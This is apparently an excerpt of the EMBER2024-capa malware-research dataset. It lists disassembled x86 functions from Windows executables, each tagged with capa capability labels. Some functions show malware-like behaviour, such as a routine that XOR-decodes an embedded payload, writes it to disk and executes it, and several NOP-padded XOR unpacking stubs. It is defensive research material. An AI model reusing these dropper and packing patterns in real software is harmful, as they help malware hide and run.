joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100012ef
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x10044736
call fcn.10043f6c
push ecx
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [edi], eax
mov eax, dword [ebp + 0x10]
lea esi, [edi + 8]
mov dword [edi + 4], eax
call fcn.100023a9
xor ebx, ebx
mov dword [edi + 0x24], ebx
mov dword [edi + 0x28], ebx
mov dword [edi + 0x2c], ebx
mov dword [edi + 0x30], ebx
mov dword [edi + 0x38], ebx
mov dword [edi + 0x3c], ebx
mov dword [edi + 0x40], ebx
lea esi, [edi + 0x48]
mov dword [edi + 0x44], ebx
call fcn.100023a9
mov dword [edi + 0x64], ebx
mov dword [edi + 0x6c], ebx
mov dword [edi + 0x70], ebx
mov dword [edi + 0x74], ebx
mov ecx, dword [ebp - 0xc]
lea eax, [edi + 0x78]
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov byte [edi + 0x88], bl
mov eax, edi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 0xc

Function at 0x10004814
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x10044df4
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push esi
xor esi, esi
push edi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], esi
mov dword [esp + 0x24], esi
lea eax, [esp + 0x18]
push eax
push dword [ebp + 0xc]
mov dword [esp + 0x3c], esi
call fcn.1001a9ab
lea eax, [esp + 0x18]
push eax
push esi
push esi
lea eax, [esp + 0x2c]
push eax
mov eax, dword [ebp + 8]
add eax, 0xc
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], esi
call fcn.1001b4ac
add esp, 0x1c
cmp eax, esi
mov dword [esp + 0xc], eax
je 0x10004904
test byte [eax + 4], 0x20
mov ebx, dword [eax + 0x40]
jne 0x100048a9
push dword [esp + 0x14]
lea esi, [ebx + 0x44]
push dword [esp + 0x14]
lea edi, [esp + 0x18]
call fcn.1000546a
push ebx
call fcn.1001bb19
pop ecx
jmp 0x100048fa
lea esi, [eax + 8]
push str.xml:lang
call fcn.10005679
test al, al
pop ecx
je 0x100048c1
xor dword [ebx + 4], 0x40
jmp 0x100048d7
push str.rdf:type
call fcn.10005679
test al, al
pop ecx
je 0x100048d7
xor dword [ebx + 4], 0x80
push dword [esp + 0x14]
lea esi, [ebx + 0x54]
push dword [esp + 0x14]
lea edi, [esp + 0x18]
call fcn.1000546a
mov eax, esi
call fcn.10002498
test eax, eax
jne 0x100048fa
xor dword [ebx + 4], 0x10
mov ecx, dword [esp + 0xc]
mov eax, dword [ecx]
push 1
call dword [eax]
lea esi, [esp + 0x18]
call fcn.10002ad1
mov ecx, dword [esp + 0x2c]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x1000c62f
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x100448ef
push eax
mov dword fs:[0], esp
sub esp, 0xc
cmp dword [ebp + 8], 0
push esi
push edi
mov edi, ecx
je 0x1000c676
push 0x67
pop eax
mov dword [esp + 8], eax
push 0x1004fa70
lea eax, [esp + 0xc]
mov ecx, str.No_options_are_defined_yet
push eax
mov dword [esp + 0x14], ecx
call fcn.10035946
push 0x74
call fcn.10019e48
mov esi, eax
pop ecx
mov dword [esp + 8], esi
and dword [esp + 0x1c], 0
test esi, esi
je 0x1000c696
call fcn.1000a0c2
mov esi, eax
jmp 0x1000c698
xor esi, esi
or dword [esp + 0x1c], 0xffffffff
mov eax, dword [edi + 0x10]
push 0xffffffffffffffff
mov dword [esi + 0x10], eax
push 0
lea eax, [edi + 0x14]
push eax
lea ecx, [esi + 0x14]
call fcn.1000296d
push 0xffffffffffffffff
push 0
lea eax, [edi + 0x30]
push eax
lea ecx, [esi + 0x30]
call fcn.1000296d
lea eax, [esi + 0xc]
push eax
add edi, 0xc
push edi
call fcn.1001b79c
pop ecx
pop ecx
mov ecx, dword [esp + 0x14]
pop edi
mov eax, esi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x100306d9
Capabilities:
Hash data with md5

Disassembly:
and dword [eax + 0x14], 0
and dword [eax + 0x10], 0
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
ret

Function at 0x10035d57
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100571cc]
jne 0x10035d61
repz ret
jmp fcn.1003cf2c

Function at 0x1003e45c
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.10036a65
xor ebx, ebx
cmp dword [0x10059424], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x1003e531
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x1003e49c
xor eax, eax
jmp 0x1003e5f5
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x1003e495
push eax
call fcn.10036a02
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x10059424], eax
call esi
push eax
call fcn.10036a02
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x10059428], eax
call esi
push eax
call fcn.10036a02
mov dword [0x1005942c], eax
lea eax, [ebp - 8]
push eax
call fcn.100382df
test eax, eax
pop ecx
pop ecx
je 0x1003e4ff
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.10031552
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x1003e531
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.10036a02
cmp eax, ebx
pop ecx
mov dword [0x10059434], eax
je 0x1003e531
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.10036a02
pop ecx
mov dword [0x10059430], eax
mov eax, dword [0x10059430]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x1003e5aa
cmp dword [0x10059434], esi
je 0x1003e5aa
push eax
call fcn.10036a6e
pop ecx
call eax
cmp eax, ebx
je 0x1003e577
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x10059434]
call fcn.10036a6e
pop ecx
call eax
test eax, eax
je 0x1003e577
test byte [ebp - 0x18], 1
jne 0x1003e5aa
lea eax, [ebp - 0xc]
push eax
call fcn.10038316
test eax, eax
pop ecx
je 0x1003e592
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.10031552
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x1003e5a1
or dword [ebp + 0x10], 0x200000
jmp 0x1003e5db
or dword [ebp + 0x10], 0x40000
jmp 0x1003e5db
mov eax, dword [0x10059428]
cmp eax, esi
je 0x1003e5db
push eax
call fcn.10036a6e
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x1003e5db
mov eax, dword [0x1005942c]
cmp eax, esi
je 0x1003e5db
push dword [ebp - 4]
push eax
call fcn.10036a6e
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x10059424]
call fcn.10036a6e
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401026
Capabilities:
Create process on windows
Delete file
Read file on windows
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov edx, section..text
push edi
push esi
push ebx
sub esp, 0x574
lea ecx, [esp + 0x64]
cmp edx, entry0
jae 0x40104c
movzx eax, byte [edx]
inc edx
xor al, 0xd9
mov byte [ecx], al
inc ecx
jmp 0x401039
mov byte [ecx], 0
lea esi, [esp + 0x64]
push esi
push 1
push 0
call 0x401220
push 0x104
lea ebx, [esp + 0x468]
push ebx
push 0
call sub.KERNEL32.dll_GetModuleFileNameA
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push ebx
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 2
push 0
push 0xffffffffffffff9c
push eax
call sub.KERNEL32.dll_SetFilePointer
push 0
lea ebp, [esp + 4]
push ebp
push 0x64
push esi
push ebx
call sub.KERNEL32.dll_ReadFile
push ebx
call sub.KERNEL32.dll_CloseHandle
lea edx, [esp + 0x65]
lea ecx, [esp + 0xc7]
cmp edx, ecx
jae 0x4010d4
movzx eax, byte [esp + 0x64]
xor byte [edx], al
inc edx
jmp 0x4010c6
lea edx, [esp + 0x14]
lea eax, [esp + 0x58]
cmp edx, eax
jae 0x4010e6
mov byte [edx], 0
inc edx
jmp 0x4010dc
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x8d]
push eax
call sub.KERNEL32.dll_CreateProcessA
test eax, eax
jne 0x401205
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x47c]
push eax
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 2
mov eax, 0xffffff9c
push 0
sub eax, dword [esp + 0x6d]
push eax
push ebx
call sub.KERNEL32.dll_SetFilePointer
push 0
push ebp
push dword [esp + 0x6d]
push dword [esp + 0x71]
push 0
call sub.KERNEL32.dll_GetProcessHeap
push eax
call sub.KERNEL32.dll_HeapAlloc
push eax
mov esi, eax
push ebx
call sub.KERNEL32.dll_ReadFile
push ebx
call sub.KERNEL32.dll_CloseHandle
mov eax, esi
mov edx, esi
add eax, dword [esp + 0x65]
cmp esi, eax
jae 0x40119b
movzx eax, byte [esp + 0x64]
xor byte [edx], al
mov eax, esi
inc edx
add eax, dword [esp + 0x65]
cmp edx, eax
jmp 0x401187
push pe_nt_image_headers32
lea edi, [esp + 0x6d]
push edi
call sub.KERNEL32.dll_SetFileAttributesA
push edi
call sub.KERNEL32.dll_DeleteFileA
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push edi
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 0
push ebp
push dword [esp + 0x6d]
push esi
push eax
call sub.KERNEL32.dll_WriteFile
push ebx
call sub.KERNEL32.dll_CloseHandle
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push edi
call sub.KERNEL32.dll_CreateProcessA
push 0
call sub.KERNEL32.dll_ExitProcess
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword [sym.imp.KERNEL32.dll_CreateMutexA]

Function at 0xc36e84
Capabilities:
Encode data using xor

Disassembly:
xor al, al
mov al, byte [edi]
xor al, bl
mov byte [edi], al
inc edi
cmp edi, ecx
jne fcn.00c36e84
ret
Function at 0x401a40
Capabilities:
Write file on windows

Disassembly:
mov edx, dword [esp + 8]
mov ecx, dword [ecx]
lea eax, [esp + 8]
push 0
push eax
mov eax, dword [esp + 0xc]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
ret 8

Function at 0x40b000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x40b00c
pop eax
nop
nop
nop
nop
nop
add eax, 0x401347
nop
sub eax, 0x4012ed
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x40b030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x40b01e
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp loc.004011cb
Function at 0x99677c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x9967a3
call fcn.00938d18
mov dword [eax], esi
call fcn.00938d05
push 0x16
pop esi
mov dword [eax], esi
call fcn.0093995a
mov eax, esi
jmp 0x9967f8
test dword [ebp + 0xc], 0xfffffff9
jne 0x996789
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x9967d0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00938d2b
pop ecx
call fcn.00938d05
mov eax, dword [eax]
jmp 0x9967f8
test al, 0x10
jne 0x9967f6
test al, 1
je 0x9967f6
test byte [ebp + 0xc], 2
je 0x9967f6
call fcn.00938d18
mov dword [eax], 5
call fcn.00938d05
mov dword [eax], 0xd
jmp 0x9967c7
xor eax, eax
pop esi
pop ebp
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x408f6c
nop
nop
mov ecx, 0x3a571de9
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
mov eax, section..data
mov ebx, 0x42e3d0
nop
mov ecx, 0x71d827c1
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x430084
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x42e006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..reloc
nop
nop
nop
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
je 0x42e072
nop
nop
nop
nop
mov ebx, 0x407ef8
nop
nop
nop
nop
mov ecx, ebx
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
mov esi, 0x115d5740
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x42e060
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
je 0x42e0d2
nop
nop
nop
nop
mov ebx, 0x42cd70
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x4c045e6a
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x4035ce
Capabilities:
Connect pipe
Read pipe
Write pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
cmp dword [0x81b894], 0x60b
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax]
push ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x14], ecx
mov ecx, dword [eax + 4]
push esi
mov esi, dword [ebx + 4]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + 8]
mov eax, dword [eax + 0xc]
push edi
mov edi, dword [ebx]
mov dword [ebp - 8], edi
mov dword [ebp - 4], 0xc6ef3720
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0xc], eax
jne 0x40362e
xor eax, eax
push eax
lea ecx, [ebp + 0xc]
push ecx
push eax
lea ecx, [ebp - 0x418]
push ecx
push eax
push eax
push 0x4012f0
call dword [sym.imp.KERNEL32.dll_CallNamedPipeW]
push 0x20
pop edx
jmp 0x403636
mov edi, dword [ebp - 8]
mov eax, edi
shl eax, 4
add eax, dword [ebp - 0x18]
mov dword [ebp + 0xc], eax
mov eax, edi
shr eax, 5
mov dword [ebp + 8], eax
mov eax, dword [ebp - 0xc]
add dword [ebp + 8], eax
mov eax, dword [ebp - 4]
add eax, edi
push eax
lea eax, [ebp + 0xc]
push eax
mov dword [0x81b444], 0xffcf03fc
call fcn.004035a9
mov eax, dword [ebp + 8]
xor eax, dword [ebp + 0xc]
and dword [0x81b444], 0
or dword [0x81b44c], 0xffffffff
sub esi, eax
mov eax, esi
shr eax, 5
mov dword [0x81b448], 0xff6b3619
mov dword [ebp + 8], eax
mov eax, dword [ebp - 0x10]
add dword [ebp + 8], eax
mov ecx, dword [ebp - 4]
mov eax, esi
shl eax, 4
add eax, dword [ebp - 0x14]
add ecx, esi
xor eax, ecx
xor eax, dword [ebp + 8]
push eax
lea eax, [ebp - 8]
push eax
call fcn.0040357c
cmp dword [0x81b894], 0x93
je 0x4036cc
push 0x9e3779b9
lea eax, [ebp - 4]
push eax
call fcn.0040355e
dec edx
jne 0x403633
mov eax, dword [ebp - 8]
pop edi
mov dword [ebx + 4], esi
pop esi
mov dword [ebx], eax
pop ebx
leave
ret 8
Function at 0x403749
Capabilities:
Connect pipe
Create directory
Create mailslot
Get common file path
Get disk information
Move file
Read pipe
Write pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2c20
call fcn.00405100
cmp dword [0x81b894], 0x37
jne 0x40387f
push esi
xor esi, esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CommConfigDialogW]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMailslotA]
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
lea eax, [ebp - 0xc20]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push esi
lea eax, [ebp - 0xc]
push eax
push esi
lea eax, [ebp - 0x2420]
push eax
push esi
push esi
push 0x401314
call dword [sym.imp.KERNEL32.dll_CallNamedPipeA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileW]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x1420]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SearchPathW]
push esi
lea eax, [ebp - 0x2020]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp - 0x20]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
lea eax, [ebp - 0x420]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryExW]
push esi
lea eax, [ebp - 0x2c20]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointW]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0x401318
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push esi
lea eax, [ebp - 0x1820]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push 0x40131c
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_RequestWakeupLatency]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoExA]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CompareStringA]
pop esi
mov eax, dword [ebp + 8]
mov ecx, dword [0x81bca8]
mov cl, byte [ecx + eax + 0x38d6]
mov edx, dword [0x81b440]
mov byte [edx + eax], cl
leave
ret 4
Function at 0x405c9b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x8013c8]
jne 0x405ca5
repz ret
jmp fcn.0040cd95

Function at 0x40f35b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00408693
and dword [ebp - 4], 0
cmp dword [0x81c794], 0
mov ebx, eax
jne 0x40f40c
push 0x40270c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40f4bd
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402700
push edi
call esi
test eax, eax
je 0x40f4bd
push eax
call fcn.00408621
mov dword [esp], 0x4026f0
push edi
mov dword [0x81c794], eax
call esi
push eax
call fcn.00408621
mov dword [esp], 0x4026dc
push edi
mov dword [0x81c798], eax
call esi
push eax
call fcn.00408621
mov dword [esp], 0x4026c0
push edi
mov dword [0x81c79c], eax
call esi
push eax
call fcn.00408621
pop ecx
mov dword [0x81c7a4], eax
test eax, eax
je 0x40f40c
push 0x4026a8
push edi
call esi
push eax
call fcn.00408621
pop ecx
mov dword [0x81c7a0], eax
mov eax, dword [0x81c7a0]
cmp eax, ebx
je 0x40f464
cmp dword [0x81c7a4], ebx
je 0x40f464
push eax
call fcn.0040869c
push dword [0x81c7a4]
mov esi, eax
call fcn.0040869c
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40f464
test edi, edi
je 0x40f464
call esi
test eax, eax
je 0x40f45b
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40f45b
test byte [ebp - 0xc], 1
jne 0x40f464
or dword [ebp + 0x10], 0x200000
jmp 0x40f49d
mov eax, dword [0x81c798]
cmp eax, ebx
je 0x40f49d
push eax
call fcn.0040869c
pop ecx
test eax, eax
je 0x40f49d
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40f49d
mov eax, dword [0x81c79c]
cmp eax, ebx
je 0x40f49d
push eax
call fcn.0040869c
pop ecx
test eax, eax
je 0x40f49d
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x81c794]
call fcn.0040869c
pop ecx
test eax, eax
je 0x40f4bd
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40f4bf
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp loc.00401219
Function at 0x40218b
Capabilities:
Parse pe header
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x19c
mov eax, dword [0x4691c0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
push 0x3e
mov word [ebp - 0x90], ax
xor ebx, ebx
lea eax, [ebp - 0x8e]
push ebx
push eax
call fcn.0043dae0
add esp, 0xc
push 0xf4
lea eax, [ebp - 0x194]
push ebx
push eax
mov dword [ebp - 0x198], ebx
call fcn.0043dae0
add esp, 0xc
lea ecx, [ebp - 0x24]
call fcn.00401e4a
cmp dword [ebp - 8], 8
mov eax, dword [ebp - 0x1c]
jae 0x4021ed
lea eax, [ebp - 0x1c]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov edi, eax
mov dword [ebp - 0x9c], edi
push ebx
cmp edi, ebx
jne 0x402233
push 1
lea esi, [ebp - 0x20]
mov dword [ebp - 0x24], vtable.TString.0
call fcn.00401464
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0043d493
leave
ret
mov esi, dword [sym.imp.KERNEL32.DLL_ReadFile]
lea eax, [ebp - 0x94]
push eax
push 0x40
lea eax, [ebp - 0x90]
push eax
push edi
mov dword [ebp - 0x94], ebx
call esi
mov eax, 0x5a4d
cmp word [ebp - 0x90], ax
je 0x40226a
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push ebx
jmp 0x402211
push ebx
push ebx
push dword [ebp - 0x54]
push edi
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push ebx
lea eax, [ebp - 0x94]
push eax
push 0xf8
lea eax, [ebp - 0x198]
push eax
push edi
call esi
cmp dword [ebp - 0x198], 0x4550
je 0x4022bb
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor edi, edi
push ebx
push 1
lea esi, [ebp - 0x20]
mov dword [ebp - 0x24], vtable.TString.0
call fcn.00401464
mov eax, edi
jmp 0x402224
movzx eax, word [ebp - 0x192]
mov edi, dword [ebp - 0x144]
cmp eax, ebx
jbe 0x40230f
mov dword [ebp - 0x98], eax
xor eax, eax
mov byte [ebp - 0x4c], bl
lea edi, [ebp - 0x4b]
stosd dword es:[edi], eax
stosw word es:[edi], ax
push 8
stosb byte es:[edi], al
pop ecx
xor eax, eax
push ebx
lea edi, [ebp - 0x44]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x94]
push eax
push 0x28
lea eax, [ebp - 0x4c]
push eax
push dword [ebp - 0x9c]
call esi
dec dword [ebp - 0x98]
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x38]
lea edi, [eax + ecx]
jne 0x4022d2
push dword [ebp - 0x9c]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov dword [0x46c3b0], edi
xor edi, edi
inc edi
jmp 0x4022a2